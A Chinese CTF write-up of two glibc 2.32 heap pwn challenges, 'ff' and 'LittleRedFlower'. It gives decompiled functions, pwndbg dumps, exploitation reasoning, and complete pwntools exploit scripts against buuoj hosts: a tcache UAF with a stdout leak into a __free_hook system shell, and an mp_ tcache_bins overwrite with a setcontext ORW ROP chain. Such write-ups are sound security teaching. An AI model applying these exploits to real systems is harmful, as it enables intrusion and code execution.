ff
分析
首先ida查看一下该程序，程序一共提供了四种功能，分别是add,delete,show,edit四个函数，其中show函数只能够调用一次，edit函数只能调用两次。比较特殊的一个点就是该程序使用的GLIBC 2.32。我们首先来分析一下所有的函数，首先是add函数
__int64 add()
{
__int64 result; // rax
unsigned int i; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+Ch] [rbp-14h]
void *size_4; // [rsp+10h] [rbp-10h]
puts("Size:");
size = myRead();
if ( size > 0x7E )
size = 0x7F;
size_4 = malloc(size);
for ( i = 0; i <= 0xF; ++i )
{
if ( !noteList[i] )
{
noteList[i] = size_4;
global_index = i;
break;
}
}
result = noteList[global_index];
if ( result )
{
puts("Content:");
read(0, size_4, size);
result = 0LL;
}
return result;
}
从这里可以看出，一共最多可以分配0x10个堆块，并且每个堆块的大小要<=0x90，将新申请的堆块的index赋给了global index。看一下delete函数。
void del()
{
free((void *)noteList[global_index]);
}
函数很简单，删除当前global index，并且这里没有清空列表中存储的堆块指针，也就是存在UAF。但是需要注意的是这里只能删除了global index指向的堆块。结合add函数来看，只能删除新申请的堆块，之前的旧的堆块无法进行删除。再来看一下show函数。
ssize_t show()
{
return write(1, (const void *)noteList[global_index], 8uLL);
}
也就是输出了当前global index指向堆块的前8字节。最后看一下edit函数
ssize_t edit()
{
puts("Content:");
return read(0, (void *)noteList[global_index], 0x10uLL);
}
这里也是对global index指向的堆块进行0x10字节大小的edit。
利用
从上述的函数分析来看，这里的对于堆块的操作仅仅限于当前的堆块。程序中存在一个UAF。
那么这里利用UAF我们仅仅可以泄漏出堆地址，并且这还是由于2.32特性的原因。其最主要的一个点就是进行了tcache->fd指针的加密。
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
也就是进行了抑或加密。那么这里就和其他版本的tcache不一样了。我们看一下释放一个堆块之后的堆块内容。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757310 (size : 0x20cf0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x80) tcache_entry[6](1): 0x5555557572a0 --> 0x555555757 (invaild memory)
pwndbg> x/20gx 0x5555557572a0
0x5555557572a0: 0x0000000555555757 0x0000555555757010
0x5555557572b0: 0x0000000000000000 0x0000000000000000
0x5555557572c0: 0x0000000000000000 0x0000000000000000
0x5555557572d0: 0x0000000000000000 0x0000000000000000
0x5555557572e0: 0x0000000000000000 0x0000000000000000
0x5555557572f0: 0x0000000000000000 0x0000000000000000
0x555555757300: 0x0000000000000000 0x0000000000000000
0x555555757310: 0x0000000000000000 0x0000000000020cf1
0x555555757320: 0x0000000000000000 0x0000000000000000
0x555555757330: 0x0000000000000000 0x0000000000000000
pwndbg>
也就是说如果我们此时调用show函数就可以泄漏出一个堆地址。那么得到这个堆地址之后就可以利用两次edit的机会构造double free，覆写fd指针，使得我们可以分配到pthread_tcache_struct结构体所在的堆块进而控制tcache的count和entry指针，从而实现任意的地址分配。
但是现在还存在一个问题就是如何泄漏得到libc基地址，上面我们已经控制了tcache，那么就可以将0x290大小堆块对应的count设置为7，进而释放pthread_tcache_struct结构体，那么该结构体就会被释放到unsorted bin中，也就是存在了一个libc地址。
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757310 (size : 0x20cf0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x555555757000 (size : 0x290)
(0x30) tcache_entry[1](251): 0
(0x40) tcache_entry[2](255): 0
(0x70) tcache_entry[5](251): 0
(0x80) tcache_entry[6](255): 0x555555757 (invaild memory)
(0x290) tcache_entry[39](7): 0
pwndbg> x/20gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000291
0x555555757010: 0x00007ffff7fb9c00 0x00007ffff7fb9c00
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0007000000000000
0x555555757060: 0x0000000000000000 0x0000000000000000
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
那么在堆块中存在改地址之后就可以再次利用任意地址分配，覆写main_arena附近的地址使其指向stdout。这个过程中由于堆块的分配导致libc地址向高地址方向移动，最终我选择的是在0x60 tcache entry位置处存储main_arena附近的地址，将其覆写为stdout再申请0x60大小的堆块即可覆写stdout结构体，泄漏出libc地址。这里需要1/16的爆破。
泄漏到libc地址之后就好说了，再次利用任意地址分配分配到free_hook，覆写其为system，getshell。
EXP
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xE23)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('node3.buuoj.cn', 26212)
libc = ELF('./libc.so.6')
one_gadget = 0x0
def add(size, content=b"1\n"):
p.sendlineafter(">>", "1")
p.sendlineafter("Size:\n", str(size))
p.sendafter("Content:\n", content)
def delete():
p.sendlineafter(">>", "2")
def show():
p.sendlineafter(">>", "3")
def edit(content):
p.sendlineafter(">>", "5")
p.sendafter("Content:\n", content)
stdout = 0xa6c0
while True:
try:
add(0x78)
delete()
show()
heap_base = u64(p.recv(8)) << 12
log.success("heap base is {}".format(hex(heap_base)))
edit(b"\x00"*0x10)
delete()
enc = ((heap_base + 0x2a0) >> 12) ^ (heap_base + 0x10)
edit(p64(enc) + p64(heap_base + 0x10))
add(0x78)
add(0x78, b"\x00"*0x48 + p64(0x0007000000000000))
gdb.attach(p, "b *$rebase(0xE23)")
delete()
# gdb.attach(p, "b *$rebase(0xE23)")
add(0x48, p16(0)*2 + p16(2) + p16(0) + p16(1) + p16(0) + p32(0) + b"\x00"*0x38)
add(0x48, b"\x00"*0x40 + p64(heap_base + 0xb0))
delete()
add(0x38, p16(stdout))
add(0x58, p64(0xfdad2887 | 0x1000) + p64(0)*3 + b"\x00")
libc.address = u64(p.recv(8)) - 0x84 - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))
break
except:
p.close()
p = remote('node3.buuoj.cn', 26212)
add(0x48, b"\x00"*0x40 + p64(libc.sym['__free_hook'] - 0x10))
add(0x38, b"/bin/sh\x00".ljust(0x10) + p64(libc.sym['system']))
delete()
p.interactive()
LittleRedFlower
分析
首先用ida看一下。程序在一开始给出了一个libc地址。接着提供了一个一字节的任意写和一个8字节的任意写，然后根据用户输入的size分配了对应大小的堆块，注意的是这里的堆块大小需要满足> 0x1000 & < 0x2000。读取用户的内容之后释放了此堆块。
程序开启了沙箱，只能采用ORW
root@134f60691926:~/work/2021VNCTF/LittleRedFlower# seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
利用
这里很明显是要覆写free__hook，但是如何覆写，或者说如何申请到该堆块。看一下tcache的分配过程
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
这里需要满足三个条件才可以进行tcache_get的调用，我们来看一下tcache_bins，该成员变量限制了可以放入tcache的堆块大小与global_max_fast类似。
pwndbg> p mp_
$1 = {
trim_threshold = 131072,
top_pad = 131072,
mmap_threshold = 131072,
arena_test = 8,
arena_max = 0,
n_mmaps = 0,
n_mmaps_max = 65536,
max_n_mmaps = 0,
no_dyn_threshold = 0,
mmapped_mem = 0,
max_mmapped_mem = 0,
sbrk_base = 0x555555757000 "",
tcache_bins = 64,
tcache_max_bytes = 1032,
tcache_count = 7,
tcache_unsorted_limit = 0
}
pwndbg> p &mp_
$2 = (struct malloc_par *) 0x7ffff7fbb280 <mp_>
pwndbg> x/20gx 0x7ffff7fbb280
0x7ffff7fbb280 <mp_>: 0x0000000000020000 0x0000000000020000
0x7ffff7fbb290 <mp_+16>: 0x0000000000020000 0x0000000000000008
0x7ffff7fbb2a0 <mp_+32>: 0x0000000000000000 0x0001000000000000
0x7ffff7fbb2b0 <mp_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7fbb2c0 <mp_+64>: 0x0000000000000000 0x0000555555757000
0x7ffff7fbb2d0 <mp_+80>: 0x0000000000000040 0x0000000000000408
0x7ffff7fbb2e0 <mp_+96>: 0x0000000000000007 0x0000000000000000
0x7ffff7fbb2f0 <obstack_exit_failure>: 0x0000000000000001 0x0000000001000000
0x7ffff7fbb300 <__x86_raw_shared_cache_size_half>: 0x0000000000800000 0x0000000001000000
0x7ffff7fbb310 <__x86_shared_cache_size_half>: 0x0000000000800000 0x0000000000008000
这里的tcache_bins默认是0x40，也就是tcache中堆块最大为0x410大小，如果我们将此成员变量改大，那么在之后我们分配>0x1000的堆块的时候就可以从tcache中进行分配了。
但是这里涉及到一个count和entry的问题。首先来看count，由于之前没有堆块的释放，因此整个pthread_tcache_struct全部为0，只能看程序一开始的0x200堆块，因为该堆块全部被memset为了\x01，这里正好可以作为tcache的count。
那么利用之后的8字节任意写在对应的位置写入free_hook的值就可以直接分配到free_hook了。这里我选择的大小为0x1510。
到此可以覆写free_hook了，但是程序开启了沙箱，只能利用setcontext进行一下迁移栈地址了，我是将栈地址迁移到了free_hook附近，并在此处布置了orw rop。这里的详细内容可以看一下SROP。
EXP
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0xc60)\nb *$rebase(0xF2a)\n b malloc\nb free")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0xe6b93, 0xe6b96, 0xe6b99, 0x10af39]
else:
p = remote('node3.buuoj.cn', 29649)
libc = ELF('./libc.so.6')
one_gadget = [0xe6b93, 0xe6b96, 0xe6b99, 0x10af39]
p.recvuntil("GIFT: ")
libc.address = int(p.recvline().strip(), 16) - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))
mp_address = libc.sym['obstack_exit_failure'] - 0x70
p.sendafter("byte anywhere\n", p64(mp_address + 0x51))
p.sendafter("what?", "\x02")
p_rsi_r = 0x000000000002709c + libc.address
p_rdi_r = 0x0000000000026bb2 + libc.address
p_rdx_r12_r = 0x000000000011c3b1 + libc.address
p_rax_r = 0x0000000000028ff4 + libc.address
syscall = 0x0000000000066199 + libc.address
leave_r = 0x000000000005a9a8 + libc.address
ret = 0x00000000000bffbb + libc.address
flag_str_address = libc.sym['__free_hook'] + 0x28
flag_address = libc.sym['__free_hook'] + 0x30
setcontext = libc.sym['setcontext'] + 61
frame_address = libc.sym['__free_hook']
orw_address = libc.sym['__free_hook'] + 0xb0
magic_gadget = 0x0000000000154b20 + libc.address
orw = flat([
p_rdi_r, flag_str_address,
p_rsi_r, 0,
p_rax_r, 2,
syscall,
p_rdi_r, 3,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x30, 0,
p_rax_r, 0,
syscall,
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x30, 0,
p_rax_r, 1,
syscall
])
log.success("mp_ address is {}".format(hex(mp_address)))
p.sendlineafter("Offset:\n", str(0x868))
p.sendafter("Content:\n", p64(libc.sym['__free_hook']))
p.sendlineafter("size:\n", str(0x1500))
payload = p64(magic_gadget) + p64(frame_address)
payload += p64(0)*2 + p64(setcontext) + b"flag\x00".ljust(8, b"\x00")
payload += b"\x00"*0x70 + p64(orw_address) + p64(ret)
payload += orw
p.sendlineafter(">>", payload)
p.interactive()